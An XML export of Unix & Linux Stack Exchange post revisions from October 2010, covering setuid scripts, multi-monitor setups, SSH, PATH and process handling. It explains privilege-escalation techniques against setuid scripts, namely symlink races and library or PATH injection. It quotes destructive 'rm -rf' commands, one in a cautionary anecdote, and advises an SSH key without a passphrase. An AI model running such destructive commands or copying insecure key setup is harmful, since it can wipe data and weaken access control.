  <row Id="6099" PostHistoryTypeId="2" PostId="2910" RevisionGUID="609b9993-40e3-403c-bbec-c5f468dbb0ef" CreationDate="2010-10-08T20:18:31.780" UserId="885" Text="Linux ignores the setuid¹ bit on all interpreted executables (i.e. executables starting with a `#!` line). The [comp.unix.questions FAQ](http://www.faqs.org/faqs/unix-faq/faq/part4/section-7.html) explains the security problems with setuid shell scripts. These problems are of two kinds: shebang-related and shell-related.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Setuid shebang&#xD;&#xA;&#xD;&#xA;There is a race condition inherent to the way shebang (`#!`) is typically implemented:&#xD;&#xA;&#xD;&#xA;1. The kernel opens the executable, and finds that it starts with `#!`.&#xD;&#xA;2. The kernel closes the executable and opens the interpreter instead.&#xD;&#xA;3. The kernel inserts the path to the script to the argument list (as `argv[1]`), and executes the interpreter.&#xD;&#xA;&#xD;&#xA;If setuid scripts are allowed with this implementation, an attacker can invoke an arbitrary script by creating a symbolic link to an existing setuid script, executing it, and arranging to change the link after the kernel has performed step 1 and before the interpreter gets around to opening its first argument. For this reason, **most unices ignore the setuid bit** when they detect a shebang.&#xD;&#xA;&#xD;&#xA;One way to secure this implementation would be for the kernel to lock the script file until the interpreter has opened it (note that this must prevent not only unlinking or overwriting the file, but also renaming any directory in the path). But unix systems tend to shy away from mandatory locks, and symbolic links would make a correct lock feature especially difficult and invasive. I don't think anyone does it this way.&#xD;&#xA;&#xD;&#xA;A few unix systems (mainly OpenBSD, NetBSD and Mac OS X, all of which require a kernel setting to be enabled) implement **secure setuid shebang** using an additional feature: the path &lt;code&gt;/dev/fd/&lt;em&gt;N&lt;/em&gt;&lt;/code&gt; refers to the file already opened on file descriptor *N* (so opening &lt;code&gt;/dev/fd/&lt;em&gt;N&lt;/em&gt;&lt;/code&gt; is roughly equivalent to &lt;code&gt;dup(&lt;em&gt;N&lt;/em&gt;)&lt;/code&gt;). Many unix systems (including Linux) have `/dev/fd` but not setuid scripts.&#xD;&#xA;&#xD;&#xA;1. The kernel opens the executable, and finds that it starts with `#!`. Let's say the file descriptor for the executable is 3.&#xD;&#xA;2. The kernel opens the interpreter.&#xD;&#xA;3. The kernel inserts `/dev/fd/3` the argument list (as `argv[1]`), and executes the interpreter.&#xD;&#xA;&#xD;&#xA;[**Sven Mascheck's shebang page**](http://www.in-ulm.de/~mascheck/various/shebang/) has a lot of information on shebang across unices, including setuid support.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Setuid interpreters&#xD;&#xA;&#xD;&#xA;Let's assume you've managed to make your program run as root, either because your OS supports setuid shebang or because you've used a native binary wrapper (such as `sudo`). Have you opened a security hole? **Maybe**. The issue here is *not* about interpreted vs compiled programs. The issue is whether your **runtime system** behaves safely if executed with privileges.&#xD;&#xA;&#xD;&#xA;* Any dynamically linked native binary executable is in a way interpreted by the **dynamic loader** (e.g. `/lib/ld.so`), which loads the dynamic libraries required by the program. On many unices, you can configure the search path for dynamic libraries through the environment (`LD_LIBRARY_PATH` is a common name for the environment variable), and even load additional libraries into all executed binaries (`LD_PRELOAD`). The invoker of the program can execute arbitrary code in that program's context by placing a specially-crafted `libc.so` in `$LD_LIBRARY_PATH` (amongst other tactics). All sane systems ignore the `LD_*` variables in setuid executables.&#xD;&#xA;&#xD;&#xA;* In **shells** such as sh, csh and derivatives, environment variables automatically become shell parameters. Through parameters such as `PATH`, `IFS`, and many more, the invoker of the script has many opportunities to execute arbitrary code in the shell scripts's context. Some shells set these variables to sane defaults if they detect that the script has been invoked with privileges, but I don't know that there is any particular implementation that I would trust.&#xD;&#xA;&#xD;&#xA;* **Most runtime environments** (whether native, bytecode or interpreted) have similar features. Few take special precautions in setuid executables, though the ones that run native code often don't do anything fancier than dynamic linking (which does take precautions).&#xD;&#xA;&#xD;&#xA;* **Perl** is a notable exception. It **explicitly supports setuid scripts** in a secure way. In fact, your script can run setuid even if your OS ignored the setuid bit on scripts. This is because perl ships with a setuid root helper that performs the necessary checks and reinvokes the interpreter on the desired scripts with the desired privileges. This is explained in the [perlsec](http://perldoc.perl.org/perlsec.html) manual. It used to be that setuid perl scripts needed `#!/usr/bin/suidperl -wT` instead of `#!/usr/bin/perl -wT`, but on most modern systems, `#!/usr/bin/perl -wT` is sufficient.&#xD;&#xA;&#xD;&#xA;Note that using a native binary **wrapper does nothing to prevent these problems**. In fact, it can make the situation *worse*, because it might prevent your runtime environment from detecting that it is invoked with privileges and bypassing its runtime configurability.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;TL,DR:&#xD;&#xA;&#xD;&#xA;* Setuid shebang is insecure but usually ignored.&#xD;&#xA;* If you run a program with privileges (either through sudo or setuid), write native code or perl.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;This discussion applies equally if you substitute “setgid” for “setuid”.&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="6100" PostHistoryTypeId="2" PostId="2911" RevisionGUID="bd8e769d-24fd-4d9e-9d30-e09c08e147ee" CreationDate="2010-10-08T20:19:04.470" UserId="1571" Text="I want to be able to run more than 4 monitors (maybe 6) and it's extremely confusing what's compatible now with the Displayport cards coming out. Right now I have an ATI card that only has 2 HDMI outputs. The problem I've seen is that the ATI driver says it doesn't support more than 4 monitors. So it seems that their eyefinity cards would probably be more hassle than it's worth.&#xD;&#xA;&#xD;&#xA;I prefer nvidia anyway, they always seem to have really good linux drivers. But I don't see that they offer a card with more than 4 ports. Most of the higher end cards that I've seen have 2 hdmi, 1 dvi, and 1 displayport. Am I mistaken that those cards are limited to 4 monitors?&#xD;&#xA;&#xD;&#xA;And what about drivers? If I get dual nvidia cards and hook up say 2 HDMI ports + the DVI port on each card, will xorg/nvidia drivers play nice? Will I be able to set up monitors with different resolutions? (I have 2 1920x1080 and 1920x1200 screens right now)?&#xD;&#xA;&#xD;&#xA;How about x windows? Can you set up xinerama for 6 screens? Or make it able to drag x windows?" />
  <row Id="6101" PostHistoryTypeId="1" PostId="2911" RevisionGUID="bd8e769d-24fd-4d9e-9d30-e09c08e147ee" CreationDate="2010-10-08T20:19:04.470" UserId="1571" Text="Using many monitors (4+) in linux" />
  <row Id="6102" PostHistoryTypeId="3" PostId="2911" RevisionGUID="bd8e769d-24fd-4d9e-9d30-e09c08e147ee" CreationDate="2010-10-08T20:19:04.470" UserId="1571" Text="éxorgàédriversàémonitorà" />
  <row Id="6103" PostHistoryTypeId="2" PostId="2912" RevisionGUID="58b8714b-f1d5-4076-a33c-2e80f927cc2e" CreationDate="2010-10-08T20:29:13.173" UserId="1399" Text="If you don't trust the owner of the root account then there's probably no way to prevent that root user from removing this special permission.  If you do trust the root user then just ask him for the current password." />
  <row Id="6104" PostHistoryTypeId="2" PostId="2913" RevisionGUID="a48c3727-6757-4be6-94a9-601741a0c528" CreationDate="2010-10-08T20:29:41.660" UserId="885" Text="Use sudo. If you don't want to have to call `sudo /path/to/myscript`, write a one-line wrapper `exec sudo /path/to/myscript &quot;$@&quot;`. See [Allow setuid on shell scripts](http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts), particularly [Maciej Piechotka's answer on using sudo](http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts/562#562) and [my more general discussion of setuid programs](http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts/2910#2910).&#xD;&#xA;" />
  <row Id="6105" PostHistoryTypeId="2" PostId="2914" RevisionGUID="4acfbc09-0baf-476b-99c7-6d66de969679" CreationDate="2010-10-08T20:39:43.047" UserId="1399" Text="No one seems to have mentioned `/usr/local`.  I often make this a separate partition.  If you're in the habit of installing software compiled from source or other 3rd party software that isn't part of your distro, having it in /usr/local means two things:&#xD;&#xA;&#xD;&#xA; 1. You can share /usr/local over nfs and have &quot;installed once, installed everywhere&quot; functionality if you have more than one system with the same OS version&#xD;&#xA; 2. You can keep this partition across re-installs and then you don't need to re-install everything here.  Note: when you upgrade the OS some of your libraries may change and you might have to recompile some things.  But not always.&#xD;&#xA;&#xD;&#xA;Besides `/usr/local` I also keep a separate `/home` for obvious reasons and a separate /Files which is where I put stuff that is meant to be &quot;shared&quot;, such as the family MP3 and video collection.  Depending on your usage /home might be a better place for your music, but if it's in a separate partition it's easy to have it on a separate hard disk even if you don't use LVM." />
  <row Id="6106" PostHistoryTypeId="5" PostId="148" RevisionGUID="cd336c12-2812-47f6-a1f7-cc40bd20fdee" CreationDate="2010-10-08T21:06:01.560" UserId="4" Comment="fix typos, add some `commands`" Text="I spend most of my time working in Unix environments and using Terminal emulators. I try to use color on the command-line, because color makes the output more useful and intuitive.&#xD;&#xA;&#xD;&#xA;What are some good ways to add color to my terminal environment? What tricks do you do? What pitfalls have you encountered?&#xD;&#xA;&#xD;&#xA;Unfortunately, support for color is wildly variable depending on terminal type, OS, TERM setting, utility, buggy implementations, etc.&#xD;&#xA;&#xD;&#xA;Here's what I do currently, after a lot of experimentation:&#xD;&#xA;&#xD;&#xA;1. I tend to set `TERM=xterm-color`, which is supported on most hosts (but not all).&#xD;&#xA;1. I work on a number of different hosts, different OS versions, etc. I'm trying to keep things simple and generic, if possible.&#xD;&#xA;1. Many OSs set things like `dircolors` and by default, and I don't want to modify this on a hundred different hosts. So I try to stick with the defaults. Instead tweak my Terminal's color configuration.&#xD;&#xA;1. Use color for some [unix commands][debian] (`ls`, `grep`, `less`, `vim`) and the [Bash prompt][PS1]. These commands seem to the standard &quot;[ANSI escape sequences][ANSI]&quot;. For example:&#xD;&#xA;&#xD;&#xA;    alias less='less --RAW-CONTROL-CHARS'&#xD;&#xA;&#xD;&#xA;    export LS_OPTS='--color=auto'&#xD;&#xA;&#xD;&#xA;    alias ls='ls ${LS_OPTS}&#xD;&#xA;&#xD;&#xA;I'll post my .bashrc and answer my own question Jeopardy Style.&#xD;&#xA;&#xD;&#xA;[ANSI]: http://en.wikipedia.org/wiki/ANSI_escape_code&#xD;&#xA;[debian]: http://www.debian.org/doc/manuals/reference/ch09.en.html#_colorized_commands&#xD;&#xA;[PS1]: http://www.cyberciti.biz/faq/bash-shell-change-the-color-of-my-shell-prompt-under-linux-or-unix/&#xD;&#xA;" />
  <row Id="6107" PostHistoryTypeId="6" PostId="148" RevisionGUID="cd336c12-2812-47f6-a1f7-cc40bd20fdee" CreationDate="2010-10-08T21:06:01.560" UserId="4" Comment="fix typos, add some `commands`" Text="éshellàébashàécolorsàépromptà" />
  <row Id="6108" PostHistoryTypeId="5" PostId="2878" RevisionGUID="3784a870-7e80-4364-af74-b481a198b8f7" CreationDate="2010-10-08T21:29:05.530" UserId="1327" Comment="added 1 characters in body" Text="On Arch you should consider installing **[KDEmod][1]** ( from [The Chakra Project][3] ) instead of KDE. &#xD;&#xA;&#xD;&#xA;&gt; Install a minimal KDE4 system:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod-minimal&#xD;&#xA;&gt; &#xD;&#xA;&gt; Alternatively, fetch a richer set of&#xD;&#xA;&gt; applications:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod&#xD;&#xA;&gt; &#xD;&#xA;&gt; or opt for a fuller set:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod-complete&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to the **[kdemod wiki][1]**, you will need to install this package :&#xD;&#xA;&#xD;&#xA;    pacman -S kdemod-extragear-gtk-qt-engine&#xD;&#xA;&#xD;&#xA;to get a more uniform look for QT and GTK apps.&#xD;&#xA;&#xD;&#xA;Also checkout this [article][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://wiki.archlinux.org/index.php/KDEmod&#xD;&#xA;[2]:http://wiki.archlinux.org/index.php/Uniform_Look_for_QT_and_GTK_Applications&#xD;&#xA;[3]:http://chakra-project.org/" />
  <row Id="6110" PostHistoryTypeId="2" PostId="2916" RevisionGUID="0ea19c85-c639-4dcc-aa29-aa32ce2e7f1a" CreationDate="2010-10-08T21:43:25.270" UserId="2214" Text="I learned Unix in the AT&amp;T System V days (1990), and it went like this:&#xD;&#xA;rm -rf /bin/nessus-fetch.rc was spoken as:&#xD;&#xA;arr emm minus arr eff slash bin slash nessus dash fetch dot rc&#xD;&#xA;where a minus was a argument indicator and a dash was part of a&#xD;&#xA;directory or file name&#xD;&#xA;&#xD;&#xA;I've heard plenty of minus in my time, and usually the dash people were&#xD;&#xA;newbies, pronounced noo bees :-)&#xD;&#xA;&#xD;&#xA;WAR" />
  <row Id="6111" PostHistoryTypeId="2" PostId="2917" RevisionGUID="eead79e3-de59-4e17-b596-f729edf9e2b9" CreationDate="2010-10-08T21:45:20.410" UserId="885" Text="There is a standard method, if the programs cooperate. Run `kill -- -42` where 42 is the pid of the parent process. This sends a signal to all the processes in the [*process group*](http://en.wikipedia.org/wiki/Process_group) lead by process 42 (the minus sign before the pid means process group).&#xD;&#xA;&#xD;&#xA;Normally, if you run your python script from a shell prompt and it simply forks `gnuchess`, the two processes should remain in the same process group. But this doesn't seem to be the case, since &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; sends `SIGINT` to the whole foreground process group.&#xD;&#xA;&#xD;&#xA;Gnuchess might be in its own process group because it made itself a session leader (but I don't know why it would do this), or because you've double-forked it (python forks a shell which forks gnuchess). A double fork is probably avoidable, but I can't tell you how without seeing your code.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;A reasonably reliable and POSIX-compliant way of finding the pid of the `gnuchess` process is &#xD;&#xA;&#xD;&#xA;    gnuchess_pids=$(ps -A -o pid= -o cmd= | awk '$2 ~ /(^|\/)gnuchess$/ {print $1}')&#xD;&#xA;&#xD;&#xA;Specific unix variants may have better ways of achieving this, such as `pgrep`.&#xD;&#xA;" />
  <row Id="6112" PostHistoryTypeId="2" PostId="2918" RevisionGUID="411e303a-cb52-446d-be4f-03453ab9534b" CreationDate="2010-10-08T22:22:10.277" UserId="1777" Text="Hello, I have an &quot;init&quot; file that reads&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    &#xD;&#xA;    export PATH=$PATH:/home/me/morph_numsys/software/bin&#xD;&#xA;&#xD;&#xA;by which I'd just like to set the path to that folder for only this bash session. However, when I execute the script, `sh init`, it still doesn't recognize the path. However, if I just say `export PATH=$PATH:/home/me/morph_numsys/software/bin`, then it works fine. Any ideas how I can do this?&#xD;&#xA;&#xD;&#xA;I'm on ubuntu and xterm." />
  <row Id="6113" PostHistoryTypeId="1" PostId="2918" RevisionGUID="411e303a-cb52-446d-be4f-03453ab9534b" CreationDate="2010-10-08T22:22:10.277" UserId="1777" Text="temporary setting the path in an &quot;init&quot; file" />
  <row Id="6114" PostHistoryTypeId="3" PostId="2918" RevisionGUID="411e303a-cb52-446d-be4f-03453ab9534b" CreationDate="2010-10-08T22:22:10.277" UserId="1777" Text="éubuntuàéxtermàépathà" />
  <row Id="6115" PostHistoryTypeId="2" PostId="2919" RevisionGUID="890b80b9-01a3-45ef-85f0-9b74e92cc09a" CreationDate="2010-10-08T23:22:12.213" UserId="1571" Text="Is there a way to disconnect from an SSH session that has become unresponsive without killing the whole terminal? Specifically I'm using konsole, and the machine I'm working with sometimes hangs, but doesn't actually die (thus killing the connection). So SSH just hangs and I have to close the terminal and open a new one to try to ssh back into it or do anything else. Is there a way to effectively ctrl+c out of an ssh session?" />
  <row Id="6116" PostHistoryTypeId="1" PostId="2919" RevisionGUID="890b80b9-01a3-45ef-85f0-9b74e92cc09a" CreationDate="2010-10-08T23:22:12.213" UserId="1571" Text="Kill an unresponsive ssh session without closing the terminal" />
  <row Id="6117" PostHistoryTypeId="3" PostId="2919" RevisionGUID="890b80b9-01a3-45ef-85f0-9b74e92cc09a" CreationDate="2010-10-08T23:22:12.213" UserId="1571" Text="ésshàéterminalà" />
  <row Id="6118" PostHistoryTypeId="5" PostId="2906" RevisionGUID="bd9797de-3837-4cff-a561-863ac0e313b9" CreationDate="2010-10-08T23:26:51.223" UserId="1207" Comment="made command more clear" Text="You may have just copied the key incorrectly.  Try this:&#xD;&#xA;&#xD;&#xA;1. On Server B(as mike): `rm ~/.ssh/authorized_keys`&#xD;&#xA;2. On Server A(as john): `ssh-copy-id -i /path/to/id_dsa.pub mike@serverb`&#xD;&#xA;&#xD;&#xA;The [ssh-copy-id][1] command basically connects to the remote host (using password auth) and then edits authorized_keys appropriately.  I believe it is distributed with OpenSSH, if you are using something else, it may not be available.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/ssh-copy-id" />
  <row Id="6119" PostHistoryTypeId="2" PostId="2920" RevisionGUID="5735226d-1a0e-4a2f-986c-f4827d905324" CreationDate="2010-10-08T23:34:13.080" UserId="1207" Text="One way is to use the ssh escape character.  By default this is &quot;~&quot;, but it can be set manually with `-e` option when invoking ssh or via `EscapeChar` in your ssh config.  To kill the hung session this will often work:&#xD;&#xA;&#xD;&#xA;`~.`&#xD;&#xA;&#xD;&#xA;Although this often fails when your ssh session got hung when using some interactive tool." />
  <row Id="6120" PostHistoryTypeId="2" PostId="2921" RevisionGUID="2cdf2522-bbcb-41a1-b65d-fb4d3545308e" CreationDate="2010-10-09T00:02:49.120" UserId="2215" Text="I am using a custom configuration of webmin from www.turnkeylinux.org to run a domain controller (basically Ubuntu Server 8.04/Hardy with Samba installed from the repositories).  I've set things up so that my users have roaming profiles that they can use at any of the windows clients that are joined to the domain.&#xD;&#xA;&#xD;&#xA;I'd like to set a disk quota for each user that the windows client would enforce, one way or another.  That is, when they login and Samba downloads the users profile information the client, Samba would also send information about disk quota limits.  This way, if the user tries to download too many mp3s for example, windows will complain and prevent the user from using any more space.  &#xD;&#xA;&#xD;&#xA;I've tried setting a quota on the samba server with the quotas package, but that only creates log off problems when the user goes over their limit.  I think I can use the smbcquotas command in conjunction with windows' own quota tools, but I don't have the foggiest notion on how I might do this. &#xD;&#xA;&#xD;&#xA;So my question is, can I get windows to enforce quotas on a per user basis using the samba server?" />
  <row Id="6121" PostHistoryTypeId="1" PostId="2921" RevisionGUID="2cdf2522-bbcb-41a1-b65d-fb4d3545308e" CreationDate="2010-10-09T00:02:49.120" UserId="2215" Text="How can I enforce quotas on roaming user profiles using samba?" />
  <row Id="6122" PostHistoryTypeId="3" PostId="2921" RevisionGUID="2cdf2522-bbcb-41a1-b65d-fb4d3545308e" CreationDate="2010-10-09T00:02:49.120" UserId="2215" Text="ésambaà" />
  <row Id="6123" PostHistoryTypeId="2" PostId="2922" RevisionGUID="4dcb28c0-d49a-4567-975c-c0bdc7886dcb" CreationDate="2010-10-09T00:02:53.160" UserId="1298" Text="Try:&#xD;&#xA;&#xD;&#xA;    pkill -P &lt;processname&gt;" />
  <row Id="6124" PostHistoryTypeId="5" PostId="2922" RevisionGUID="02838c29-07e5-43fe-ac0d-887099d7e15d" CreationDate="2010-10-09T00:07:57.210" UserId="1298" Comment="deleted 3 characters in body" Text="Try:&#xD;&#xA;&#xD;&#xA;    pkill &lt;processname&gt;" />
  <row Id="6125" PostHistoryTypeId="2" PostId="2923" RevisionGUID="b9a7b8b6-e35b-495e-b823-54897cef5d24" CreationDate="2010-10-09T00:12:19.347" UserId="1298" Text="On the client, type:&#xD;&#xA;&#xD;&#xA;ssh-keygen -t rsa -b 4096&#xD;&#xA;&#xD;&#xA;enter ENTER when prompted for a password.&#xD;&#xA;&#xD;&#xA;go to ~/.ssh and copy id_rsa.pub to the server.&#xD;&#xA;cat id_rsa.pub &gt;&gt; /home/username/.ssh/authorized_keys&#xD;&#xA;&#xD;&#xA;Also on the server&#xD;&#xA;edit the /etc/ssh/sshd_config file to allow key-based authentication&#xD;&#xA;&#xD;&#xA;and run&#xD;&#xA;/etc/init.d/sshd restart&#xD;&#xA;&#xD;&#xA;then on the client-machine enter:&#xD;&#xA;ssh usernameOfTheUserOnTheServerWhereYouCopiedTheKeyToAuthorizedKeys@192.168.1.x " />
  <row Id="6126" PostHistoryTypeId="2" PostId="2924" RevisionGUID="ec683aa7-7f95-45e0-9364-62d2ce14713f" CreationDate="2010-10-09T00:25:11.933" UserId="1298" Text="Those are all very complicated methods.&lt;br /&gt;&#xD;&#xA;You can mount the remote file system on your local machine with sshfs:&#xD;&#xA;&#xD;&#xA;    mkdir -p /mnt/sshfs&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    root@IS1300:~# sshfs 192.168.1.2:/ /mnt/sshfs&#xD;&#xA;    root@IS1300:~# umount /mnt/sshfs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then you can copy paste the file with nautilus/gnome/konqueror/dolphin/bash/whatever" />
  <row Id="6128" PostHistoryTypeId="2" PostId="2925" RevisionGUID="46abe4b2-695c-4111-9c6d-f285db012853" CreationDate="2010-10-09T02:57:31.333" UserId="1207" Text="When you say &quot;for only this bash session&quot;, I assume you mean the bash session that is calling the script.  &#xD;&#xA;&#xD;&#xA;When you execute your script, it gets a new shell environment.  Thus when you export variables, you are exporting it to the new shell environment and not its parent environment.  As far as I know, there is no way to access the parent environment.  However, since you are using bash, there may be a few solutions:&#xD;&#xA;&#xD;&#xA;**Use `source`**&#xD;&#xA;&#xD;&#xA;Rather than execute the script like this: `/path/to/init.sh` do `source /path/to/init.sh`&#xD;&#xA;&#xD;&#xA;From the [bash man page][1]:&#xD;&#xA;&#xD;&#xA;&gt;source filename [arguments]&#xD;&#xA;&gt;&#xD;&#xA;Read and execute commands from filename in the current shell environment and return the exit status of the last command executed from filename.&#xD;&#xA;&#xD;&#xA;**Make your script a shell function and put it in .bashrc**&#xD;&#xA;&#xD;&#xA;Another option is to make init a function and put it in .bashrc like this:&#xD;&#xA;&#xD;&#xA;    function init {&#xD;&#xA;        export PATH=$PATH:/home/me/morph_numsys/software/bin&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then from the terminal you can just run `init`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/maverick/en/man1/bash.1.html" />
  <row Id="6129" PostHistoryTypeId="4" PostId="2909" RevisionGUID="dccfb5df-4e79-4773-bbd4-b071f6ba26ca" CreationDate="2010-10-09T03:59:56.067" UserId="1090" Comment="edited title" Text="How to kill both  process and subprocess?" />
  <row Id="6130" PostHistoryTypeId="2" PostId="2926" RevisionGUID="f2705278-3265-43bc-9cd2-04041989a5fd" CreationDate="2010-10-09T04:36:48.783" UserDisplayName="delete" Text="There are cases where command line + and - are definitely meant to indicate a subtraction or addition of something, like&#xD;&#xA;&#xD;&#xA;    diff -w&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    emacs +30&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6132" PostHistoryTypeId="5" PostId="2898" RevisionGUID="d81bbb16-0503-4a3e-9ec8-b1462c6e5976" CreationDate="2010-10-09T08:13:02.410" UserId="102" Comment="added info on how to add the ppa" Text="This is a [known bug/missing feature][1] in Evolution. &#xD;&#xA;&#xD;&#xA;If you don't mind installing software from a [PPA][2], you can install Geoff Goehle's patched evolution/evolution-indicator. This should give you an option in Evolution's plugin configuration to &quot;hide it in the applet&quot; if it is closed:&#xD;&#xA; &#xD;&#xA;https://launchpad.net/~goehle/+archive/goehle-ppa&#xD;&#xA;&#xD;&#xA;To add the PPA to your software sources, go to `System &gt; Administration &gt; Software Sources &gt; Other Software` and click Add, then enter ``ppa:goehle/goehle-ppa`` as a source. Or you can use the command ``sudo add-apt-repository ppa:user/ppa-name`` in a terminal.&#xD;&#xA;&#xD;&#xA;The PPA is only for the version in 10.04 at the moment.&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/evolution-indicator/+bug/460483&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Repositories/Ubuntu#Adding%20PPAs" />
  <row Id="6133" PostHistoryTypeId="5" PostId="2863" RevisionGUID="4f91ef89-6fe6-4ca3-b132-683e823f5888" CreationDate="2010-10-09T08:21:39.283" UserId="73" Comment="added 21 characters in body" Text="The feature does not yet exist. What I do is send the window to another workspace. You can do this a couple of ways. The easiest is to right-click on either Evolution's title-bar or its entry in the task bar and pick &quot;Move to Another Workspace&quot; then choose the one to move it to (I always use 4 for mail). You can switch to that workspace by using the workspace switcher in the bottom-right or by using the key combos &lt;kbd&gt;alt+ctrl+left&lt;/kbd&gt; and &lt;kbd&gt;alt+ctrl+right&lt;/kbd&gt;.&#xD;&#xA;&#xD;&#xA;I actually find this more convenient than closing and opening the window." />
  <row Id="6134" PostHistoryTypeId="2" PostId="2927" RevisionGUID="358178c9-b12d-4107-94e2-00de1e1704db" CreationDate="2010-10-09T13:06:21.310" UserId="1578" Text="This happened to me last year. I was removing some files from the server using a temporary variable:&#xD;&#xA;&#xD;&#xA;`rm -rf ${prefix}*`&#xD;&#xA;&#xD;&#xA;Guess what?? The variable $prefix was not defined!  &#xD;&#xA;You can imagine the disaster... it resulted in some very critic files deleted.&#xD;&#xA;&#xD;&#xA;I almost broke the `Control-C` and ran to the CPU to remove the network cable!!&#xD;&#xA;&#xD;&#xA;Hahaha I'm sure someone had already done this..." />
  <row Id="6135" PostHistoryTypeId="2" PostId="2928" RevisionGUID="aea797c2-26f5-4bb3-b316-2d7aceafba01" CreationDate="2010-10-09T13:23:46.387" UserId="2221" Text="I've read in so many websites that, in Linux, symbolic links (soft links, symlinks) are just like *pointers* that reference another file, which may be located anywhere (like Windows shortcuts). However, when I check the disk usage of a folder in which there are symbolic links, there's a mismatch between what my file manager says and what `du` reports. However, if I type `du -L` (`-L, --dereference; dereference all symbolic links` from the man page), the output is the same. &#xD;&#xA;&#xD;&#xA;What's the problem here?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6136" PostHistoryTypeId="1" PostId="2928" RevisionGUID="aea797c2-26f5-4bb3-b316-2d7aceafba01" CreationDate="2010-10-09T13:23:46.387" UserId="2221" Text="Do symbolic links actually make a difference in disk usage? " />
  <row Id="6137" PostHistoryTypeId="3" PostId="2928" RevisionGUID="aea797c2-26f5-4bb3-b316-2d7aceafba01" CreationDate="2010-10-09T13:23:46.387" UserId="2221" Text="ésymlinkàédisköusageà" />
  <row Id="6138" PostHistoryTypeId="2" PostId="2929" RevisionGUID="e98fd3ab-d5e6-4f91-b157-271ccb4b766d" CreationDate="2010-10-09T13:42:05.950" UserId="885" Text="Symbolic links do take room, of course, but just the room it takes to store the name and target plus a few bytes for other metadata. The space taken by a symbolic link does not depend on the space taken by the target (after all, the target is not even required to exist).&#xD;&#xA;&#xD;&#xA;Your problem is not very clear. You say “the output is the same” — same as what?&#xD;&#xA;&#xD;&#xA;* Plain `du` reports the space taken by a directory tree. `du -L` reports the space taken by a directory tree if all symbolic links were replaced by their target. The former is usually the useful information; for example, it's the space you'd recover if you deleted the tree, and it's (approximately) the space you need to back up the tree.&#xD;&#xA;* `du` on a directory tree shows (usually) a little more than the total of the file sizes. That's due to two things. First, `du` also counts directories, which take a little room to store file names and metadata. Second, `du` counts the disk space taken by a file, which can be different from the file size: the most common effect is that files take up an integer number of blocks (4kB on typical Linux installation), so a 1-byte file can show as 4kB in du output; but compression (such as the primitive form provided by [sparse files](http://en.wikipedia.org/wiki/Sparse_file) on just about every unix filesystem) can make the file size less than its disk usage.&#xD;&#xA;&#xD;&#xA;If your file manager reports the same usage as `du -L`, it's not being very helpful (that should be offered as an option rather than be the default behavior). If you meant that `du -L` and `du` report the same size but your file manager reports a different size, you'll need to give more details (what is your file manager? what exactly does it report, and what is the corresponding `du` output? ...).&#xD;&#xA;" />
  <row Id="6140" PostHistoryTypeId="2" PostId="2931" RevisionGUID="c57c3276-1b71-4d51-9372-736fbccfec30" CreationDate="2010-10-09T13:55:47.703" UserId="885" Text="Is there a simple open-source, command-line program that can show the sunrise and sunset times at a given date and location, and perhaps moon and planet data as well?&#xD;&#xA;&#xD;&#xA;Browsing the Debian package database and Google searches, I can't find anything relevant. This surprises me — considering the number of people who are both astronomy geeks and unix geeks, I'd have expected a de-facto-standard `sunrise(1)` (or perhaps `sunrise(6)`).&#xD;&#xA;&#xD;&#xA;I am not interested in more complex programs that incidentally perform the calculations, such as sky maps (celestia, kstars, starplot, stellarium), earth maps (sunclock,&#xD;&#xA;xplanet), calendars/agendas (emacs, remind), clocks (glunarclock,&#xD;&#xA;wmsun), tide almanachs (xtide). There is perhaps `aa` ([astronomical-almanac](http://www.moshier.net/)), but I don't see a simple way of asking it what time the sun will rise on this date at these longitude and latitude.&#xD;&#xA;&#xD;&#xA;What did I miss?&#xD;&#xA;" />
  <row Id="6141" PostHistoryTypeId="1" PostId="2931" RevisionGUID="c57c3276-1b71-4d51-9372-736fbccfec30" CreationDate="2010-10-09T13:55:47.703" UserId="885" Text="Sunrise and other astronomical data from the command line" />
  <row Id="6142" PostHistoryTypeId="3" PostId="2931" RevisionGUID="c57c3276-1b71-4d51-9372-736fbccfec30" CreationDate="2010-10-09T13:55:47.703" UserId="885" Text="écommandölineàésoftwareörecà" />
  <row Id="6143" PostHistoryTypeId="2" PostId="2932" RevisionGUID="7e9729f5-2883-489e-aa23-316c328db103" CreationDate="2010-10-09T14:23:08.713" UserId="1339" Text="Did you try `sunwait`?&#xD;&#xA;&#xD;&#xA;http://www.risacher.org/sunwait/&#xD;&#xA;&#xD;&#xA;&gt; Sunwait is a small C program for&#xD;&#xA;&gt; calculating sunrise and sunset, as&#xD;&#xA;&gt; well as civil, nautical, and&#xD;&#xA;&gt; astronomical twilights. [..]" />
